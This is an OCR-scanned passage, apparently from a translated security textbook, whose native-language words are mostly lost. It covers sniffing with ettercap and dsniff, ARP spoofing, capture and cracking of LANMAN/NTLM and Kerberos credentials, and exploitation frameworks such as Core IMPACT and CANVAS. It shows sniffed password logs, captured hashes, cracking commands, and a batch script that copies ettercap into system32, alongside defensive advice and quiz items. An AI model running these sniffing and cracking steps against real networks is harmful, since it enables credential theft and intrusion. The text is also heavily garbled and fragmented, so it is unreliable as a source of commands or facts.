Ettercap Windows Unix/Linux  Mac OS X
ettercap Ncurses ettercap
5.13 daemon
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—
|5 Command Prompt - ettercap [_ O] x]
ettercap B.6.h 1
SOURCE: ANY < Filter: OFF
:|— illithid (IP bhased» — ettercap 1
DEST = ANY < Active Dissector: QOFF B
3 hosts in this LAN {192.168.18@.18@ : 255.255._255.8>
192 .168.180.100:1471 active— rb6.35.250.209:80
GET style.css HITP-1.1. HITP~1.1 384 Not Modified.
Accept: /% Date: Mon,. 28 Oct 2083 B5:29:28 GMT.
Referer: http:s/ettercap.sourceforge.nets. Seruer: fApache1.3.26 CUnix> PHPs4.1i.2.
Accept—Language: en—us. Connection: close.
Accept—Encoding: gzip. deflate. ETag: "33ala?-5d5-3a7Bh554".
If-Modif ied-8ince: Thu. 25 Jan 20081 23:23:0@ GMT. -
If-None-Match: “33ala?-5d5-3a7@b554".
User—fgent: Mozilla- 4.8 (compatihle; MSIE 6.8; Windows NI
5.15 312461,
Host: ettercap.sourceforge.net.
Connection: Heep-filive.
Cookie: phpbhh_data=az3A8x3Ax7Bx7D.
—ASCII —ASCII
Your IP: 192.168.100.108 MAC: BB:E@:29:9D:29:13 Iface: devd Link: HUB
Protocol: TCP
fpplication: http
5.13 ettercap
ettercap
ettercap 1P 1P Ip
a ARP
ettercap
ettercap -N
-Nzs ettercap  -N ARP storm -z
IP -S tcpdump  Snort
q ettercap telnet NetCat  psexec
Ctrl+C
ettercap -a -S

ettercap - Nza <srcl PAddress> <dest | PAddr ess> <sr cMACAddr ess> <dest MACAddr ess>

ettercap -C
ettercap -Nczs ettercap
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ettercap SMB LANMAN  NTLM L Ophtcrack
25 54 ettercap
ettercap 514

I 20031020-Dumped_Passward.lag - Holepad M=
File Edt Fomat View Help

152.168.100.100:1087 -» 192.168.100.30:23 telnet
USER: jsmith

Fass: miamidolphins

152.168.100.100:1088 -» 192.168.100.50:21 ftp

USER: administrator

PASS: password

152.168.100.100:1081 -» 192.168.100.50:110 pop3

USER: 1torvalds

PASS: Tinux

1592.168.100.100:1088 -»> 192.168.100.5:13% nethios-ssn

USER: jsmith
FASS:

LC 2.5 FORMAT: "USER":3:EF16BF7ADDALLEZF 910673054 EB2ZLCFBABERY3B0167CRA462E777BIEAF3TLFCL:0640576609E44DB6E2 7FBEZEBSBFBI17EESTA6EFLTCAAFDOT

= |

5.14  eftercap

ettercap deamon
-q quiet daemon ettercap
<the date>-Collected-
Passwordslog <the date>-Dumped-Passwords.log ettercap
/daemon
ettercap
NULL ettercap

[1] http ://ettercap. sourceforge. net/
[2] http://ettercap.sourceforge.net/forum/index.php

5.3.3

MAC
MAC MAC
MAC



MAC
MAC
MAC
MAC
ARP
ARP
ARP Watch
ARP Watch
arp.dat
ARP Watch  Windows
MAC
DNS DNS
Extensions DNSSEC
DNSSEC DNS
IPSec
IP IPSec
VPN  PKI
534
20 Windows Rocks’

MAC
MAC
ARP ARP
IP MAC
ARP
ARP
MAC IP
Unix/Linux
-f
WinARP Watch
IDS ARP
DNS thwart
DNS DNS Security
PKI DNS
ssh
NAT
|PSec TCP/IP
SSL TLS
“ Bill Gates
ID

Bill Gates
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ettercap  dsniff

dsniff
dsniff

dsniff

[ root @HackerBox root]# dsniff -m

Kernel filter, protocol ALL, raw packet socket

dsniff: listening on ethO []

10/ 08/ 03 14:53:53 tcp 192.168. 100. 101. 37402 -> Tel net Server 2. 23 (tel net)
admi ni strat or

password

dir

exit

10/ 08/ 03 14:54:15 tcp 192.168. 100. 101. 37403 -> 192. 168. 100. 5. 21 (ftp)
USER anonynous

PASS 222@2. com

dsniff
arpspoof/dsnspoof
dsniff mailsnarf filesnarf msgsnarf urlsnarf  webspy
mailsnarf
filesnarf NFS msgsnarf IRC
urlsnarf Web URL CLF

Common Log Format webspy URL



[1]
[2]
[3]
[4]
5]
[6]

[7]

(8]

5.4

135

Windows

ARPWatch Home Page http://ftp.ee.lbl.gov/nrg.html

WinARPWatch Home Page www.arp.sk.org

DNSSEC Home Page www.dnssec.net

Information on DNSSEC www.dnssec.net

Information on dsniff www.monkey.org/~dugsong/dsniff/

"IBM: On the Lookout for dsniff: Part 1" www-106.ibm.com/devel operworks
library/s-sniff.html

"IBM: On the Lookout for dsniff: Part 2" www-106.ibm.com/ devel operworks
[security/library/s-sniff2.html

"Why Your Switched Network Isn't Secure" www.sans.org/resources/idfag/
switched network. php

LAN Manager

LAN Manager
/ 02 Windows Samba

Unix/Linux LAN Manager LANMAN

8B

14 7 NULL

14 1 ”
LANMAN Data Encryption Standard DES

7 14
NULL
NTLM NT LAN Manager
NTLM 14
16B Message Digest 4 MD4 128 - bit

Windows NT 4.0 SP4 NTLMv2 NT
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“ v2'  Black Hat 2002 Unity 16

4 NTLMv2 5s 8
21 8 NTLMv2

NTLM 56 - hit
128 - hit HMAC - MD5
NTLM NTLMv2
LANMAN Microsoft
LANMAN NTLM 5.15
Ethereal SMB

@ Copy of Packet 9.dmp - Ethereal M= E
File Edit Capture Display Tools Help ‘
No. . [Time [ Sourcs [Destination [Protocol_[info A
5 0.001248 192.168.100.100 192.168.100.5 NBSS Session request, to IEMSTATIONZ<20> From POWERSTATION<00>
6 0.001531 192.168.100.5 NBSS Positive session response
1053 > nethios-ssn [Syn] Seq=2464360225 Ack=0 win=64240 Len=0
7|
=i =
Loastination: 162.168,100.5 (182,168,108, ) =
Transmission Comtrol Protocol, sre Port: 1051 (1051), Dst Port: netbios-ssn (139), Seq: 2464307965, ack: 50183, Len: 137
source port: 1051 (1051)
pestination port: nethios-ssn (139)
Sequence number: 2464307945
Next seguence number: 2464308102
Acknowledgement number : 50183
Header length: 20 hytes
BFFlags: Ox0018 (PSH, ACK)
window size: 64236
Checksum: Oxehd? (correct)
NetEIOS Session Service
SME (Server Message Block Protocol)
SME Headar
B negotiate Protocol Reguest (0x72)
word count (wCT):
ByTe Count (BCC): 98
Requested Dialects
BiDialect: PC NETWORK PROGRAM 1.0
[AEY ANMANL O
piale: indows for workgroups 3.1a
pialect: Lml.2x002
Dialect: Lanman2.l
®Dialect: NT LM 0.12 7
(= T
U0 00U U0 U0 00 U0 U0 00 Y
43 oo oo ooolibalne
4l NETWORK  PROGRAM
1.0
72 windows or Wor
33 2e 31 61 00 02 4c 4d  kgroups 3.la..Lm
02 4c 41 de 4d 41 de 32 1.2x002. .LANMAND
4d 20 30 ze 31 32 Q0 JLLWNT LM o012, Ll
Fite | | Reset] zpot|

5.15 Ethereal SMB

Microsoft Windows 2000 Active Directory
NTLM NTLMv2 Kerberosvs
Microsoft

Windows 9x
LANMAN NTLM NTLMv2



Windows NT 4.0 SP4 Windows 2000 Group

Policy NTLMv2
NTLM  LANMAN Windows 9x

NTLM Windows 9x Directory Services Client for Windows 9x

Dsclient.exe NTLMv2

Active Directory NTLMv2

Directory Services Client Windows 2000 Clients\Win9x\
Windows

Samba

TCP 139 445 SMB over NBT SMB over

TCP 8B SMB
0x72 ANSI LANMAN Unicode NTLM 24B
SMB 0x73 516 Ethereal 517

<capture> - Ethereal [_ O] %]
File Edit Capture Display Tools HE\p‘
Ky

Jrime  [0urce [Destination [Frotocal_[info

7o T T oS TuT T Ty Tus TUo = TT T TOS =S ST [F I, AR ] SEq=2 U a7 5 0 Ak =T To WO S T e
18 0.002500 192.168.100.5 192.168.100.100 NBESS positive session response

19 0.002539 192.168.100.5 192.1658.100.100 TCR nethios-ssn » 1112 [ack] Seqg=1722216 Ack=2040674357 win=64440 Len=0

20 0.003674 192,16 19, SME ate Protocol Request

POWERSTATIONVjsmith; Tres Connect andx, Path: \\1.

22 0.005104 192,168.10 oo 192,16 00 SME session setup andx Request, Usal
23 0.007212 152,168,101 192.168.100.100 SME session setup andx Response; Tres Connect Ancx
24 0.173803 192.168.100.100 192.165.100.5 TCP 1115 > nethios-ssn [ack] Seo=2040810058 Ack=1722500 win=63085 Lan=0
T =

NetBIOS Session Serwice
B SMB (Server Message Block Protocol)
SME Header
Bnegotiate Protoco]l Response (0x72)
word Count (wCT): 17
pialect Index: 5, greater than LANMANZ.1
Security Mode: 0x03
Max Mpx Count: 50
Max vCs: 1
Max Buffer size: 4356
Max Raw Buffer: 65536
session Key: 0x00000000
B Capabilities: 0x000043Fd
system Time: Oct 20, 2003 02:13:24.658767700
server Time zone: 240 min from uTC
Key Length: 8
Byta Count (BCC)

Transmissiun control Protocol, Src Port: netbios-ssn (139), Dst Port: 1115 (1115), Seq: 1722258, Ack: 2040809742, Len: 101

=]

Filter: ‘ j Reset| Apply |ChallengefRespunse Encryption Key (for LM2.1 dialect) (smb.encryption_key), 8 bytes

137

5.16 Ethereal



plure> - Ethereal

File Edit Capwre Display Tools

Jrime  [Source [Destination [Frotocal [infa
e TICIUT IUT T ToT TUus T E== T O =SS 1T [T, AR ] SEq=Z UTuaT™ w=T To WO Ter=
0.002500 192.168.100.5 192.168.100.100 NESS Positive session response
0.002539 192.168.100. 5 162.168.100.100 TCP nethios-ssn > 1112 [ack] Seq=1722216 Ack=2040674357 win=64440 Len=0
0.003674 192.168.100.100 162.168.100.5 Negotiate protocol Request

4 100 iate Protocol Response J

23 0.007212 192.168.100 192.168.100.100 SMEB session Setup AndX Response; Tree Connect Andx
24 0.173803 162.168.100.100 162.168.100.5 TCP 1115 > netbios-ssn [ack] Seo=2040810058 ack=1722509 wi

NetEIos session service [
B sME (server Message Block protocol)
SME Header
thsession setup Andx Request (0x73)
word count (wCT): 13
AandxCommand: Tree connect Andx (0x75)
Reserved: 00
Andxoffset: 252
max Buffer: 4336
Max Mpx Count: 50
vC number: 0
Session Key: 0x00000000
ANSI Password Length: 24
unicode Password Length: 24
Reserved: 00000000
Capabilities: 0x000000d4
Byte Count (BCCH: 191
IE D

THAS

. 7

Filter ‘ - - - - . J Reset| Apply. )ANS\ Pasgword (smb.ansi_passward), 24 bytes

5.17 Etherea

TCP tcpdump  windump
SMB BPF

wi ndunmp -nes 0 -w C:\outputFile port 139 or 445

SMB
windump
SMB

Wi ndunp -nes 0 -wC: \outputFiletcp[28]=0x72 or tcp[28] =0x73 or tcp[ 40] =0x72
or tcp[40]=0x73
BPF windump TCP 28 tcp[ 28] 40
tcp [ 40] 0x72  Ox73 0x72 0x73
TCP 0 1

SMB 28 40
1B TCP 28+12=40
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Ethereal /
Ethereal GUI Ethereal
Ethereal / 248 16B
LANMAN 16B 248 Ethereal
8B 248
16B 8B
domai n\
jsmith: 3: 66957 6B10DB138C0: FOOF9A4B2B3B46B0795ADBD1DFF2FF38E11B7903
68F4ADOD: 4FF17999C87D612543117954E3E372C0F4C5E2C49A18F501
L Ophtcrack 2.5 domain\username 3
ANS| Unicode
L Ophtcrack LC4 LC25
LC25 LC4
donmai n\
jsmith:"":"": FOOF9A4B2B3B46B0795ADBDLDFF2FF38EL1B790368F4ADID: 4FF17999C8
7D612543117954E3E372C0F4C5E2C49A18F501: 669576B10DB138C0
LC4 domain\username R
ANSI Unicode
LC4
LOphtcrack 2.5 LC4
Ethereal  Etherpeek
NetCat Snort ettercap  tcpdump
5.4.2 ettercap
SMB ettercap
ettercap SMB telnet
POP3 FTP / LOphtcrack 2.5
514  ettercap LC25
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L Ophtcrack LC4

Windows
ettercap WinPcap

ettercap

ettercap %systemroot%\system32\

cygcrypto-0.9.7.dl1
cygcrypto.dl |
cygssl-0.9.7.dl1
cygssl . dll

cygwi nl.dll
etter.ssl.crt
ettercap. exe

WinPcap DLL %systemroot%e\system32\

packet . dl |
wpcap. dl |

move
531

WinPcap Netgroup NPF.sys %systemroot%\system32\

drivers\

npf. sys
CAB et.cab

WinAce

et.cab

REM **x**xx%*  Create tenporary directory C \tenpl23\ **x*x**xx

nkdir C\tenpl23\

REM *kkhkkkkkk*k expand ) cab fl | e *kkhkkkkkk*k

expand -r -f:* et.cab C\tenpl23\

REM kkkkkkkx Change to ten-p dl r *kkkkkkx

c:

cd C\tenpl23

REM ******x* Copy files to ¥systenr oot % syst enB2\ ****x**x
copy cygcrypto-0.9.7.dl I %ystenroot % syst enB2\

copy cygcrypto.dl |l %ystenroot % syst enB2\

copy cygssl-0.9.7.dll %ystenroot % syst enB2\
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copy cygssl.dll %ystenroot % syst enB2\

copy cygwi nl.dll 9%ystenroot % systenB2\

copy etter.ssl.crt %ystenroot % syst enB2\

copy ettercap. exe %systenr oot % syst enB2\

copy packet.dl |l %ystenroot % systenB2\

copy wpcap. dl | %systenr oot % syst enB2\

REM **x**xx%  Copy npf.sys driver into ¥%ystenroot% systenB2\drivers\
copy npf.sys ¥%systenroot % systenB2\drivers\

REM *kkkkkk k% Cl ean up *kkkkkkk*k

cd . .

Del /q C\tenpl23\*.* N
rodir C\tenpl23\

ettercap daemon

L Ophtcrack SMB
WinDump  Snort

Ethereal
Etherpeek /
ettercap libpcap
Ethereal  Etherpeek TCP
SMB
/ L Ophtcrack
L Ophtcrack
L Ophtcrack

[1] C.R.Hertel, Implementing CIFS http://ubigx.org/cifs/
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[2] TheNTLM Authentication Protocol http://davenport.sourceforge.net/ ntim.html
[3] How to Enable NTLM 2 Authentication http://support.microsoft.com/
default.aspx?scid=kb;it; 239869
[4] How to Disable LM Authentication on Windows NT http://support.microsoft.com/
default.aspx?scid=kb;en-us; 147706
[5] "Inside SP4 NTLMv2 Security Enhancements’ www.winnetmag.com/Articles/
Index. cfm ?Articlel D=7072
[6] NTLM Documentation Www.opengroup.org/comsource/techref2/
NCH1222X . HTM
543 Kerberos
Kerberos
2002 Arne Vidstrom kerbsniff  kerbcrack
kersniff Windows 2000 XP  Kerberos

kerbcrack

C:. \ ker b>ker bsni ff GrayHat. out
KerbsSniff 1.2 - (c) 2002, Arne Vidstrom

- http://ntsecurity.nu/tool box/kerbcrack/
Capt ured packets: **~c

kerbsniff Kerberos “oxn
GrayHat.out
C: \kerb>type G ayHat. out
t est
G ayHat

36ED42F5B86F2CA7F236 A9E2FAB2498C39A1729A75351C389F7AADB2BBC7C85876EOBAB9
1A47CADA45861665A2D022BA4D214A52

#

testl

G ayHat

2AA32BB9E29CFBBA206 FAEB15FB7F73A846B57C20804831450663CDF160657296B2F4AF2
AFE36CDAF51D533EBBF4619838F4ECAA

#

Kerberos
kerbcrack
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John Ripper
L Ophtcrack kerbcrack

+-+-C \kerb>dir /b *english*
wor ds- engl i sh

C: \ ker b>ker bcr ack
KerbCrack 1.2 - (c) 2002, Arne Vidstrom
- http://ntsecurity. nu/tool box/kerbcrack/

Usage: kerbcrack <capturefile><crack node>[dictionaryfile] [ password size]
crack nodes:

-bl = brute force attack with (a-z, A-2)

-b2 = brute force attack with (a-z, A-Z, 0-9)

-b3 = brute force attack with (a-z, A-Z, 0-9, special characters)
-b4 = bl + swedish letters

-b5 = b2 + swedish letters

-b6 = b3 + swedish letters

-d = dictionary attack with specified dictionary file

C:\ ker b>ker bcrack G ayHat.out -d words-english

KerbCrack 1.2 - (c) 2002, Arne Vidstrom
- http://ntsecurity. nu/tool box/kerbcrack/

Loaded capture file.
Currently working on:

Account nane - testl
From donai n - GrayHat
Tryi ng password — test

Nurmber of cracked passwords this far: 1

Done.
C: \kerb>
testl Kerberos
testl “ test”
kerbcrack
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5.5

» TCP
> ICMP

e ICMP

e scanrand
e scanrand
® paratrace
® paratrace
® paratrace

opOf

pOf

e amap
e amap

® amapcrap
e Winfingerprint

APl

e Winfingerprint

pOf
xprobe2  nmap
nmap
xprobe2 nmap
TCP/IP RFC
TCP
traceroute
TCP
traceroute  tracert
TCP
ICMP paratrace
pOf SYN-ACK
/
SSL
amap
Windows Linux
SourceForge.net

RST

Windows
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U] Unix/Linux tcpdump Windows

windump
U] libpcap  WinPcap

110 BPF
U] libpcap  WinPcap libpcap  WinPcap
® eitercap
/ MAC flooding ARPstorm

U] MAC flooding ARP cache

poisoning MAC duplicating spoofing DNS poisoning

arpspoof macof etherflood ettercap Hunt
. ARPWatch/WinARPWatch
PKI 1PSec

VPN
e LANMAN NTLM NTLMv2 Windows Samba

LANMAN

/ Kerberos
Windows Active Directory
e | ANMAN 16B
24B ettercap 24B /
L Ophtcrack 2.5
U] dsniff  ettercap
®
551

1 ICMP Echo Request Type 8 Code 222 Microsoft Windows

ICMP type code

A. Type 8 Code 0 B. Type 0 Code 222

C. Type 222 Code 0 D. Type 0 Code O



146

5.5.2

pOf SYN+ACK

amap

A. triggerdefs.dat
C. respdefs.dat

amap
A. amd-xp B. kpmg-pt
scanrand

A. ISN (Initial Sequence Number)
C. Inverse SYN Cookies

paratrace

A.ICMPType 11 Code 0
C. ICMPType 0 Code 0

A. ARP spoofing
C. DNSresolver cache poisoning

A. Kerberos B. NTLMv2

. D Windows TypeO CodeO
echo
code C
B SYN+ACK
C -R

SYN

©
>

oy}

. appdefs.trig
D. appdefs.resp

C. abcd-123 D. the-#1

B. Reverse Statefull Inspection
D. Stateless TCP/TP

ICMP

B. ICMP Type 0 Code 0
D. ICMPType 3 Code 0

B. ARP cache poisoning
D. IP address spoofing

C. LANMAN D. MSCHAP

ICMP Echo Requests Type8 Code0 A
echo B Windows
type 222 echo
-A  pOf SYN A
pOf RST D -U
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pOf D
3.B D appdefs.trig appdefs.resp
nmap nmap-rpc appdefs.rpc
www.insecure.org/nmap/ A C amap

4. B IDS Snort A C D

amap amap-xp abcd-123  thc-#1
5C A scanrand ISN

B D Inverse SYN cookies
6. A traceroute paratrace ICMPTTL Exceeded

ICMPType11Code0 B C D TTL Exceeded
7.D IP IP

8. C LANMAN
NULL 14 A B D
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Python

¢ Python

eCore MPACT

e CANVAS

e Metaspbit

Nessus ISS
Core Security Technologies  IMPACT
Windows
Immunity CANVAS
HD Moore  spoonm Metasploit
Windows GUI

Python

Python
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6.1 Python
Python Perl
Python
IMPACT CANVAS Metasploit Python
www.python.org
6.1.1 Python
OS Python www.python.org/downl oad/
Python Python Linux
Mac OS X 10.3
Mac OS X Apple Python IDLE
Python pyton.org  MacPython
Apple Xcode
http://pythonmac.org/wiki/X codel ntegration Python
Python Python
Python Python Python
6.1.2 Hello, World
“ Hello, world” Python

% pyt hon

- ( ) -
>>> print 'Hello, world
Hel l o, world

% cat > hello. py
print "Hello, world
D
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% pyt hon hel | 0. py
Hel l o, world

6.1.3 Python

Python

Python

'Hello , world’  Python

% pyt hon

>>> stringl = 'Dil bert’

>>> string2 = ' Dogbert’

>>> stringl + string2

" Di | bert Dogbert’

>>> stringl + " Asok " + string2

"Dil bert Asok Dogbert’

>>> string3 = stringl + string2 + "Vally"

>>> string3

"Di | bert Dogbert\Val |y’

>>> string3 [2:10] # string3 2~10 0
| bert Dog’

>>> string3[0]

"D

>>> | en(string3)

19

>>> string3[14:] # string3 14 0
"Vl ly’

>>> string3[-5:] # 5

"Vl ly’

>>> string3.find(’Vally’) #

14

>>> string3.find(’ Alice’) # -1

-1

>>> string3.replace(’ Dogbert’,’ Alice’) # Aice Dogber t
"Dil bertAlicevally’

>>> print 7 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAN # 30 A
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AAAAAAAAAAAAAAAAAAAA
>>> print A *30 # 30 A
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Python
stringl string2  string3
C
6.1
>>> |abell = ’'Dlbert’
>>> |abel2 = labell
labell ———» ‘Dilbert
Label2 —— »p oer
Python
6.1
Python " Dilbert’
label1 label2
conti nued from above
>>> | abel 1 = ' Dogbert’
>>> | abel 2
"Dil bert’
6.2 label2 labell label1
Python
labell
‘Dilbert’
label2
‘Dogbert’
6.2 labell

Python
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>>> nl=5 #
>>> n2 = 3

>>> nl * n2

15

>>> n|l ** n2 # nl n2

125
>>5/ 3, 5/ 3.0, 5 %3 #
(1, 1.6666666666666667, 2)

>>> n3 =1 # n3 = 0001 (
>>> n3 << 3 #

8

>>> 5 + 3 * 2 #

11

>>> sl = 'abc

>>> nl = 12
>>> sl + nl
Traceback (nost recent cal

File "<stdin>", line 1, in ?
TypeError: cannot concatenate

Python

12

>>> sl + str(nl)

"abc12’

>>> sl.replace(’'c’,str(nl))
" lab12’

>>> sl*nl # abc 12

" abcabcabcabcabcabcabcabcabcabcabcabc

>>>nl =5

>>> nl ** 2 # 572
25

>>>nl # nl

5

>>>nl = nl ** 2 # nl

5 nl

and ’int’ objects

'abc’ 12
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>>> nl # nl 25
25

label 1[5:10]

>>> nylist =[1,2,3]
>>> | en(nylist)

3

>>> nylist*4 # nmyl i st 4

[1, 2, 3, 1, 2, 3, 1, 2, 3, 1, 2, 3]

>>> 1 in nylist #

True

>>> 4 in nylist

Fal se

>>> nmylist[1:] # 1
[2, 3]

>>> biglist = [['Dilbert’, 'Dogbert’, 'Catbert’],
["wally', "Alice', 'Asok']] #
>>> biglist[1] [0]

Twally’

>>> biglist [0] [2]

" Cat bert’

>>> biglist[1] = 'Ratbert’ # ' Rat bert’

>>> biglist
[['Dilbert’, 'Dogbert’, 'Catbert’], 'Ratbert’]

>>> stacklist = biglist[O0] #
>>> stacklist

["Dilbert’, 'Dogbert’, 'Catbert’]

>>> stacklist = stacklist + [' The Boss’]
>>> stackli st

["Dilbert’, 'Dogbert’, 'Catbert’, 'The Boss’]
>>> stacklist. pop() #

" The Boss’

>>> stacklist. pop()

" Cat bert’

>>> stacklist. pop()

" Dogbert’

>>> stackli st
["Dilbert’]
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>>> stacklist.extend(['Alice’, "Carol’, '"Tina'])
>>> stackl i st

["Dilbert’, "Alice', '"Carol’, 'Tina']

>>> stacklist.reverse()

>>> st ackli st

["Tina’, "Carol’, "Alice’, 'Dilbert’]

>>> del stacklist[1] # 1
>>> stackli st

["Tina", "Alice’, "Dilbert’]

>>>d = {°

hero’ : 'Dilbert’ }

>>> d[ 'hero ' ]

"Dil bert’
>>> ' hero’
True

ind

>>> 'Dilbert’ ind #

Fal se

>>> d. keys() # keys()

["hero’]

>>> d. val ues() # val ues()

['Dilbert’]

>>> d['hero’'] = ’'Dogbert’

>>> d

{" hero’: 'Dogbert’}
>>> d[ " buddy’] = "wally’
>>> d[’pets'] = 2 #

>>> d

{"hero’: 'Dogbert’, 'buddy': 'Wally', 'pets': 2}

Python

targets
Dilbert "

{

}



% cat targets

RPC- DCOM 10. 10. 20. 1, 10. 10. 20. 4
SQ.- SA- bl ank- pw 10. 10. 20. 27, 10. 10. 20. 28
# targets

% pyt hon

#

>>> targets_file = open(’'targets’,’'r’)
#

>>> |ines = targets_file.readlines()
>>> | i nes

[ RPC- DCOM t 10. 10. 20. 1, 10. 10. 20. 4\ n’, * SQL- SA- bl ank- pwA
t 10. 10. 20. 27, 10. 10. 20. 28\ n’ ]

#

>>> | ines_dictionary = {}

>>> for line in |lines: #
one_line = line.split() # split()
i ne_key = one_line[0]
Iine_value = one_line[1]
lines_dictionary[line_key] = line_value
# <CR>

>>> # pyt hon

>>> | ines_dictionary
{" RPC-DCOM : '10.10.20.1,10.10.20.4", 'SQ-SA bl ank-pw :
*10. 10. 20. 27, 10. 10. 20. 28" }

#

>>> for key in lines_dictionary.keys():
targets_string = lines_dictionary[key]
targets_list = targets_string.split(’,”’)
targets_nunmber = len(targets_list)
filename = key + ' ' + str(targets_nunber) +
vuln_file = open(fil ename,’ w)
for vuln_target in targets_list: #

vuln_file.wite(vuln_target +

C vul n_file.close()

>>> D

%ls

RPC- DCOM 2_t ar get s targets

SQL- SA- bl ank-pw_2_targets

% cat SQL- SA-bl ank-pw_2_targets
10. 10. 20. 27

10. 10. 20. 28

% cat RPC-DCOM 2_t argets

10. 10. 20. 1

10. 10. 20. 4

#
#

' _targets’

"\n")

155
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files.open()

w
for for

for <iterator-value> in <list-to-iterate-over>

#

# tab

#
if while
if foo > 3:

print 'Foo greater than 3
elif foo ==

print 'Foo equals 3
el se

print 'Foo not greater than or equal to 3

while foo < 10:
foo = foo + bar

Python

4242
% nc -I -p 4242

i mport socket

s = socket. socket (socket. AF_| NET, socket. SOCK_STREAM

s.connect ((’l ocal host’, 4242))

s.send(’ Hello, world") #
data = s.recv(1024)
s.cl ose()
print 'Received , ’'data
socket socket

socket

C
Python
"Hello, world’
NetCat
nc



NetCat

[1] Python Homepage
[2] MacPython Website

[3] Good Python Tutorial

[4] Python Tutoria for Non-programmers

easytut/

6.2

6.2.1 Core IMPACT

IMPACT

NetCat 'Hello , world’
Python

Python

www.python.org

157

bind() listen() accept()

http://homepages.cwi .nl/~jack/macpython/

http://docs.python.org/tut/tut.html

CANVAS Metasploit

http://honors.montana.edu/~jjc/easytut/

Web

IMPACT
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IMPACT “ e
TCP 443
Web
NetCat Ctrl+C
IMPACT
agent
shell
Pcap
agent agent
GUI
IMPACT
IMPACT
6.3
Python
IMPACT
IMPACT
Wizard
IMPACT
Attack and Penetration
agent IMPACT

6.4

agent

IMPACT

agent IMPACT

Information Gathering

Python

Advanced

level0 agent



. Impactbemo - CORE IwpAcT. [B][H]

Fle Edt Wew Modes Tools Help

b & ? BEd

»

Search: + -

|| Information gathering
CJous
DNS BIND Yersion grabber
DNS Zone Transfer
Jtocal
Commit Friends
Get Current Username
et Installed Applications
Get O5 version
Get Lsers and Groups
et Windows Process List
Pracess File Descriptor Status
Plrace process enumeration
GQuery 05 Patches
Sean priviege escalation vulnerabilties i inetd
I Metwork discovery
Network Discavery - ARP
Network Discavery - ICMP
Netuork Discovery - Passive
Network Discovery - TCP Connect
("] 05 detection
Nimap 05 Stack Fingerprinting
5 Detect by Banner Grabber
5 Detect by DCE-RPC
G5 Detect by SMB
5 Detect by SNMP
©5 Detection
5 Stack Fingerprinting
| Port scanners
Port Scanner - Fast SYN
Port Scanner - Several Scan Techniques
Fart Scanner - TCF Connect
Port Scanner - LUDP
ZdSunRPC
RPC Port Mapper
RPC Service Scan
RPC ShawMount
Banner Grabber
Blind Service Identiiation
Check user with Solaris FTP
DCE-RPC Endpoink Dumper
DCE-RPC SAMR Durper
Finger
115 PROPFIND Internal 1P Disclosure
MetBIos Name Table
Password Sriffer
Frocess File Descriptor Sriffer
Resolve Host
Service Identification
B Information Gathering

"\ RPT ), Advanced

Ready
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6.3 COREIMPACT

v §210.00,10,102

3 localagent
¥ 5510.10.10.0
Ti0.40.10.1
310.10.10.2

#3.10.10.20.10
#210.10.20.90
210.10.10.100
F2.10.10.10.101

3] Brefise Fies
3] Brafise Fies Pyploit suscess

Set as Source
Dzonnect

Unirestall

[mrent connected

Levell Agent cor

d v ~1234

1 tries needed
Ungrade to Levelt .

Module £in on after 310

shed ex

Change Display Alas.. -
add comrments. (W ]

', Log / Debug [Contert

Recent Modules

Delete

Aok

6.4 LevelOagent
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level0 agent shell
c:\inetpub\scripts # IMPACT shell shell
10.10.10.103 shell cmd.exe
Browse Files Set AsSource  Upgrade To
Levell level0 agent
Set As Source IMPACT
agent level0 agent
Set As Source Upgrade To Levell

levelO levell

agent Pcap
level 1l agent
level 0 agent levell agent
IMPACT “ " root
IMPACT
agent
IMPACT
agent IMPACT
4
IMPACT agent
$2500 $25000

[1] Core IMPACT HomePage

6.2.2 Immunity CANVAS

Dave Aitel CANVAS

WWW.coresecurity.com/products/corei mpact

CANVAS Immunity Security



CANVAS

Windows

CANVAS
GUI
Python

Linux

Linux

b4 Immunity CANVAS (fttp://www. immunitysec.com/CANVAS)
Action  Helum  Listeners  Logging  Network Dump  Hosts
Current Local IP Address:  192.168.1.111

Name
Current
= Explaits
# 50L Injection
* Windows
* Unix
# Todls
= Recon
desdump
mssclesolve
osdetect
portscan

rpcdump

spostect
*# Dos
# Listener shells

€

IMPACT

Python
GTK

GUI

CANVAS

Description
Attarks sqainst the current host
CANYAS Exploit Modules

Warious tools for explaiting SQL Injection Vulnerabitiss

Attacks ageinst Microsoft Platforms
Attacks against Uinix Platforms
Various tools

Warious tools For Recon

DCE Dumper

M5 5L Resalver Ping

5 Detection

Portscanner

SUnRPC Dunper

[0day] Windows Servics Pack Detection
Denial of service attacks
ontrol Active Listener

exphitlog | debug information

Windows

IMPACT

80

EEX

~ rsnez‘ The host entry can take in 3 network as ©

>

1o Status Information

Host 05 Status

s Reliable as Possble

lew local [P=192.168.1.11
jew local [P=192.168.1.111

Covertriess Bar

s Covert As Possible

6.5

6.5 CANVASGUI

CANVAS

shellcode
IMPACT

6.5

“ As Covert As Possible’

IMPACT

M osdef

if covertness>5:

Windows

CANVAS

CANVAS

Python

IP

CANVAS

“ AsReliable As Possible”

IDS

161



162

#print
for d

"Covert msrpchi
in data:
s. send(d)

time.sleep(0.2)
el se:

s. send( dat a)

IMPACT

ndu

IMPACT

IMPACT

CANVAS

CANVAS

= Exploits

# Windows
# Ui
# Took Warious tools
= Reton Various kools
desdump  DCE Dumper

mssgresolve

# Listener Shels

explottlog | debug InfFormation

Action  Helum Listeners  Loggng  Network Dump
Urrent Local 1P Address: | 192.168.1.111
Name Deseription

Current Attacks against the current host

CANAS Exploit Modules
# SQUInjection  Warious tools for explotting SQL Injection Yulnere
Attacks against Microsoft Plstforms
Attacks against Unix Platforms

Far Recon

15 QL Resalver Ping

asdetect 05 Detection
portscan Portscanner
rpecump SUnRPC Dumper
spdstect
+ Dos

Control Active Listener

Hosts

[0day] Windows Service Pack Detsction
Denial of service attacks

2 Immunity CANVAS (ttp: /Awww. immunitysec.com/CANVAS)

TJSAGE The host entry can take in anetwork as well (152,168

ID Status Information

0 00000 Seanning 192.168.1,112 (dane}

ANYAS Explok [0

ANYAS Exploit [0]:

HGT [0
ANYAS Explait [0]: Printing all vuinerbilties Found!
: Host: 192,168, 1,112 Yuln: mstask
ANYAS Exploi [0]: Host: 192.168.1,112 Yuln: Porkseanner
ANYAS Explait [0]; Host: 192,168, 1,112 Yalni MSRPC Workstation
ANYAS Explait [0]; Host: 192,168, 1,112 Yulni MSRPC MS0-026
ANYAS Explait [0]; Host 192,168, 1,112 Yulni LSASRY.DLL L5455, EXE DsRolepLogPrintRoutine ) exploit

Host 05 Status

a5 Reliable as Possible

|

